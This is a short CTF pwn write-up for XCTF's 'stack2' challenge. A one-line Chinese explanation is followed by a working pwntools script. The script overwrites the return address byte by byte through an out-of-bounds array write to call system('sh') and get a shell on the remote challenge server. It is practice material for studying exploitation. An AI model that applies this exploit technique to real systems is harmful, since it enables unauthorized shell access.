[XCTF-pwn] 6-stack2

每次允许在指写偏移写1个字节。

32没开pie且有system,bin/dash直接把 system+ret+bin/sh写到返回地址处即可

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('111.200.241.244', 56810)

elf = ELF('./pwn')
context(arch='i386', log_level='debug')

p.sendlineafter(b"How many numbers you have:", b'1')
p.sendlineafter(b"Give me your numbers", str(0x456789).encode())

system = p32(elf.plt['system'])+ p32(0) + p32(0x8048987)
for i in range(12):
    p.sendlineafter(b"5. exit\n", b'3')
    p.sendlineafter(b"which number to change:\n", str(132 + i))
    p.sendlineafter(b"new number:\n", str(system[i]).encode())

p.sendlineafter(b"5. exit\n", b'5')
p.interactive()